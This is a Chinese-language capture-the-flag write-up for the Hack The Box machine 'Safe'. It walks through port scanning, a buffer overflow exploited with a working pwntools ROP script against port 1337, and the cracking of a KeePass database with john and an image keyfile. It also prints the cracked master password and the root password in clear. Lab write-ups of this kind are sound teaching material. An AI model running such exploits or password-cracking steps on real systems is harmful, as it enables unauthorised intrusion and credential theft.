概述 (Overview)
HOST:10.10.10.147 时间: 2021-08-03 机器作者: gh0stm5n 困难程度: easy MACHINE TAGS: * File Misconfiguration
攻击链 (Kiillchain)
通过对目标服务的开放端进行枚举,发现存在一个可疑的 1337 端口。对端口进行 telnet 连接,测试后有交互结果返回,尝试进行 fuzzing ,从异常退出信息中判断存在缓冲区溢出。
在静态 HTML 页面的注释中获得二进制程序,下载至本地分析。调试编写溢出攻击 exploit,运行 exploit 成功得到 User Flag。
在用户的目录文件夹中发现存在 KeePass Password Database,组合图片文件成功破解出 KeePass 数据库明文,使用库中的 root 密码成功完成权限提升。
枚举(Enumeration)
开局使用以下命令对目标服务器进行开放端口扫描:
nmap -p- -sC -sV -T4 -oA Ports -v 10.10.10.147
得到扫描详情如下所示:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 23:07:29 up 24 min, 0 users, load average: 0.04, 0.01, 0.00
| DNSVersionBindReqTCP:
| 23:07:24 up 24 min, 0 users, load average: 0.04, 0.01, 0.00
| GenericLines:
| 23:07:12 up 24 min, 0 users, load average: 0.05, 0.01, 0.00
| What do you want me to echo back?
| GetRequest:
| 23:07:19 up 24 min, 0 users, load average: 0.05, 0.01, 0.00
| What do you want me to echo back? GET / HTTP/1.0
| HTTPOptions:
| 23:07:19 up 24 min, 0 users, load average: 0.04, 0.01, 0.00
| What do you want me to echo back? OPTIONS / HTTP/1.0
| Help:
| 23:07:34 up 25 min, 0 users, load average: 0.03, 0.01, 0.00
| What do you want me to echo back? HELP
| NULL:
| 23:07:12 up 24 min, 0 users, load average: 0.05, 0.01, 0.00
| RPCCheck:
| 23:07:19 up 24 min, 0 users, load average: 0.04, 0.01, 0.00
| RTSPRequest:
| 23:07:19 up 24 min, 0 users, load average: 0.04, 0.01, 0.00
| What do you want me to echo back? OPTIONS / RTSP/1.0
| SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| 23:07:35 up 25 min, 0 users, load average: 0.03, 0.01, 0.00
|_ What do you want me to echo back?
从扫描详情中可以看到,目标服务器开放的端口还是挺少的。根据对 SSH、HTTP 等服务的识别结果,目标服务器系统是 Debian。注意到 1337 端口返回的内容有点奇怪。
TCP 1337 - ?
首先对 http server 进行了简单的目录枚举,并没有获取到任何有帮助的信息,转而查看奇怪的 1337 端口。
注意到浏览器中最后返回的内容,与 HTTP 中 Get 请求的首行内容一致,尝试使用 NC 与该端口进行交互,看能得到什么。
从返回的结果来看首先指令一条 `uptime` 命令,然后等待用户输入,我这输入了一个 help 随后服务器将我的输入拼接后返回了。
怀疑应该是一个溢出的题目,按照以往出题的尿性会把在服务器端的程序给到你。果然,在 http server 的页面注释中到了提示。
立足点(Foothold)
首先将文件下载至 kali,使用 file 命令简单查看下该文件的基本信息:
# file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
是一个 64 位的程序,将其加上执行权限后运行。
内容一致,符合心里预期,接着使用 IDA 工具加载后,得到伪代码:
undefined8 main(void)
{
char *s; // var char *s @ rbp-0x70
system("/usr/bin/uptime");
printf("\nWhat do you want me to echo back? ");
gets(&s, 1000);
puts(&s);
return 0;
}
与执行猜测的完全一致,这里存在 gets 函数溢出。快速验证下溢出的字符串长度:
是用 gdb 工具载入文件,查看下是否存在内存保护等信息:
# checksec --file=myapp
[*] '/home/kali/hackthebox/Safe/file/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- PIE 是指 position independent executable,也就是地址随机化。No PIE 则说明编译时关闭了。
- NX 是指 No-eXecute(不可执行),也就是指开启了栈不可执行保护。这里可以查看以前的文章对比下两者的区别 -->[[Hackthebox-Frolic.md id=f7b38951-ec27-4a22-995c-93bac0383886]]
在这里回顾下以前的知识,当 NX 栈保护关闭时 exploit 编写步骤:
- 获取 libc 库 地址
- 获取 system 函数地址
- 获取 /bin/sh 命令字符串地址
- 获取 EIP 的偏移量
对比以前的实例编写利用 exploit,碰到新的问题。在 libc 库和当前的程序中,找不到已有的命令执行的字符串,所以我们得想办法自己将字符串写进去。
还是和 [[Hackthebox-Frolic.md id=f7b38951-ec27-4a22-995c-93bac0383886]] 文章中一样,使用 ROP 方式进行绕过,不同的是这次需要向 gadgets 片段中写命令执行字符串。
ROP( Return Oriented Programming)其主要思想是在栈溢出的基础上,利用程序中已有的小片段( gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop 就是一种。
注:通俗的来说,rop 就是利用程序中已有的程序段来拼接一个我们需要的功能(函数)。
综合上述信息:
- 有 gets()、puts()、printf()、system(),gets() 函数是存在溢出
- 存在 libc.so 动态链接库
- 没有 /bin/sh 字符串,所以要利用的话要想办法写入
这次需要用到 .bss 段。
bss 段:一般指程序中未初始化的或者初始化为 0 的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss 段会清 0
我们可以使用 readelf 命令直接搜索 .bss 段的基地址范围:
$ readelf -S myapp | grep bss
[24] .bss NOBITS 0000000000404048 00003048
$ readelf -S myapp | grep data
[23] .data PROGBITS 0000000000404038 00003038
在使用 gdb-peda 的是出现了点小问题,调试溢出长度的时候并没有如我们预期进入详情窗口,而是直接退出了:
解决方法则是需要加上 set follow-fork-mode parent
命令,因为 peda 默认将允许的进程其切换到子级,所以出现异常直接退出了并不会打印堆栈的详情。
接着使用使用 ROPgadget 找利用链,得到 0x000000000040120b
# ROPgadget --binary myapp | grep "rdi\|rsi\|rdx\|rax" | grep pop
0x0000000000401134 : comiss xmm0, xmmword ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040120b : pop rdi ; ret
0x0000000000401209 : pop rsi ; pop r15 ; ret
最终通过多种尝试,使用 pwn 的 ROP 库成功完成 exploit 脚本:
from pwn import *
#context.log_level = "debug"
file_path = './myapp'
p = process(file_path)
e = context.binary = ELF(file_path)
# 0x401163 main
# 0x401040 system_plt GOT
# 0x40120b pop_rdi
junk = b"A"*120
rop = ROP(e)
rop.gets(e.bss())
rop.system(e.bss())
print(rop.dump())
p = remote("10.10.10.147", 1337)
p.sendline(junk + rop.chain())
p.sendline(b'/bin/bash')
p.interactive()
允许脚本成功获得的 safe 用户的交互 shell:
权限提升(Privilege Escalation)
在成功获得用户交互 shell 后,将 kali 的 ssh 公钥写入目标服务器的 `~/.ssh/authorized_keys` 文件。进行免密登录,方便我们后续的操作:
在当前的目录下发现存在一些图片和一个 .kdbx 文件, .kdbx 文件扩展是 KeePass Password Database ,为 KeePass Password Safe 软件程序开发的 Open Source 文件类型。
user@safe:~$ ls -ls
total 11260
1864 -rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG
1872 -rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG
2472 -rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG
2860 -rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG
1100 -rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG
1064 -rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG
20 -rwxr-xr-x 1 user user 16592 May 13 2019 myapp
4 -rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx
4 -rw------- 1 user user 33 May 13 2019 user.txt
所以我们需要的 root 身份权限密码,很可能就存在这个密码数据库里。
如何使用 Hashcat 破解 KeePass 密码 - https://www.rubydevices.com.au/blog/how-to-hack-keepass
通过阅读上述的文章,尝试还原明文密码:
$ keepass2john MyPasswords.kdbx > MyPasswords.hash
$ cat MyPasswords.hash
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96
$ john ./MyPasswords.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass
等待了很长一段时间,字典跑完了也没得到明文,期间尝试其他方式进行提权均失败。在查看 keepass2john 的帮助命令时,发现存在一个 -k 的参数,而这个参数值指向的是文件。
$ keepass2john --help
keepass2john: invalid option -- '-'
Usage: keepass2john [-k <keyfile>] <.kdbx database(s)>
寻思着需要组合文件夹内的 *.JPG 文件,所以将上述 *.JPG 的文件挨个生成新的 hash 内容:
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*17c3509ccfb3f9bf864fca0bfaa9ab137c7fca4729ceed90907899eb50dd88ae
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*a22ce4289b755aaebc6d4f1b49f2430abb6163e942ecdd10a4575aefe984d162
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*e949722c426b3604b5f2c9c2068c46540a5a2a1c557e66766bab5881f36d93c7
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*d86a22408dcbba156ca37e6883030b1a2699f0da5879c82e422c12e78356390f
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*facad4962e8f4cb2718c1ff290b5026b7a038ec6de739ee8a8a2dd929c376794
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*7c83badcfe0cd581613699bb4254d3ad06a1a517e2e81c7a7ff4493a5f881cf2
生成完成后继续尝试解密 hash 内容,成功得到明文密码:
$ # john ./MyPasswords.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
1g 0:00:01:58 DONE (2021-08-03 17:15) 0.008448g/s 29.95p/s 186.5c/s 186.5C/s 1701d..sss
Use the "--show" option to display all of the cracked passwords reliably
Session completed
有了明文密码后安装对应平台的的 GUI 软件,我这里是 kali:
https://keepass.info/download.html
依次将明文密码和 keyfile 文件填写到窗口中:
MyPasswords:bullshit key file: IMG_0547.JPG
在打开的密码数据库中成功到了 root 身份的密码:u3v2249dl9ptv465cogl3cnpo3fyhk
使用该密码最终完成了权限提升:
回顾
关于 gdb 扩展安装
// peda 的安装
$ apt install gdb-peda
$ echo "source /usr/share/gdb-peda/peda.py" >> ~/.gdbinit
$ gdb
gdb-peda>
// gef 的安装
$ bash -c "$(curl -fsSL http://gef.blah.cat/sh)"
$ wget -O ~/.gdbinit-gef.py -q http://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
$ gdb
gef >
ROP 学习
3.1.4 返回导向编程(ROP) - https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.4_rop_x86.html
在复盘的过程中,看到 0xdf 在文章中展示了三种不同的思路来处理:
方法一:泄漏 libc 函数地址,计算 /bin/sh 与 libc 中字符串的偏移量,然后调用 system(/bin/sh)。
方法二:将字符串/bin/sh 写入.data 然后调用 system()。
方法三:滥用从未调用过的 test()函数跳转到 system()。
gdb-peda$ disassemble test
Dump of assembler code for function test:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13 # 使用 JMP 命令,我们可以在程序的任何地方跳转。
0x000000000040115c <+10>: nop
0x000000000040115d <+11>: pop rbp
0x000000000040115e <+12>: ret
End of assembler dump.
jmp r13
使用 JMP 命令,我们可以在程序的任何地方跳转。如果我们可以在 rsp 上输入我们想要的值,我们将能够使用 r13 标签调用 system()
。
gdb-peda$ ropsearch 'pop r13'
Searching for ROP gadget: 'pop r13' in: binary ranges
0x00401206 : (b'415d415e415fc3') pop r13; pop r14; pop r15; ret
...snip...
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1430: 0000000000048e50 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
Pwn 相关:
# 计算偏移
>>> from pwn import *
>>> cyclic_find(0x62616166)
120
# 计算偏移-msf
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <rbp addr> -l 300
# 计算偏移-gdb:
gdb-peda$ pattern search $rsp
Registers contain pattern buffer:
RBP+0 found at offset: 112
Registers point to pattern buffer:
[RSI] --> offset 0 - size ~203
[RSP] --> offset 120 - size ~80
[R9] --> offset 48 - size ~152
......
查找进程运行加载的系统库:
获取shell的方式列举:
序源码自带系统命令函数 -简单溢出
可以找到system函数的plt的绝对地址 -ret2text
利用输入函数,将shellcode写入到程序中 -ret2shellcode
利用ROPGadget配合int 0x80调用execve -ret2Syscall
利用Libc获取system函数的相对位置. -ret2Libc
plt/got概念
plt表:Procedure Linkage Table程序联动表(内部函数表)
got表:Global Offset Table 全局偏移表(全局函数表)
参考
- https://paper.seebug.org/papers/Archive/refs/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf
- https://myexperiments.io/exploit-basic-buffer-overflow.html
- https://github.com/xct/ropstar
- https://ropemporium.com/
- https://github.com/longld/peda
- https://libc.blukat.me/
- http://ropshell.com/
- https://github.com/jakecraige/ctf/blob/master/csaw-quals-2020/roppity/writeup.md
- https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%B8%89-buffer-overflow-123d6ae7236e
- https://github.com/Gallopsled/pwntools-tutorial/blob/master/installing.md
- https://bbs.pediy.com/thread-257238.htm
- https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-syscall-execv
- https://www.hebunilhanli.com/wonderland/htb/htb-safe/
- https://www.freebuf.com/articles/network/177133.html
- https://darkwing.moe/2019/04/09/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B011-ret2libc/
- http://blog.tianzheng.cool/index.php/2020/10/22/pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%832-pwntools%E4%BD%BF%E7%94%A8%E5%85%A5%E9%97%A8/
- https://www.wangan.com/docs/824
- https://www.echocipher.life/index.php/archives/407/
- https://www.hackthezone.com/wp-content/uploads/2019/11/Weaponizing-ROP-with-PwNtools-ANDREI-GRIGORAS-18oct2019HTZ.pdf
- https://www.onctf.com/posts/cd763be3.html
- https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.4_rop_x86.html